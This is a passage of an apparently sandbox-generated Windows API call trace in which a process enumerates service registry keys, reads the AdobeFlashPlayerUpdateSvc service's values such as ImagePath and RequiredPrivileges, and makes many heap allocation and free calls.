phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0191.095] RegCloseKey (hKey=0x140) returned 0x0 [0191.095] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.095] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.095] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.096] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.096] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.096] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.096] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0191.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.096] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.097] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.097] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.097] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.097] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="AdobeFlashPlayerUpdateSvc", ulOptions=0x0, samDesired=0x2010b, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0191.097] RegCloseKey (hKey=0x9c) returned 0x0 [0191.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.097] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0191.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0191.098] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0191.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0191.099] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.099] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0191.099] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.100] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0191.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0191.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0191.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0191.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 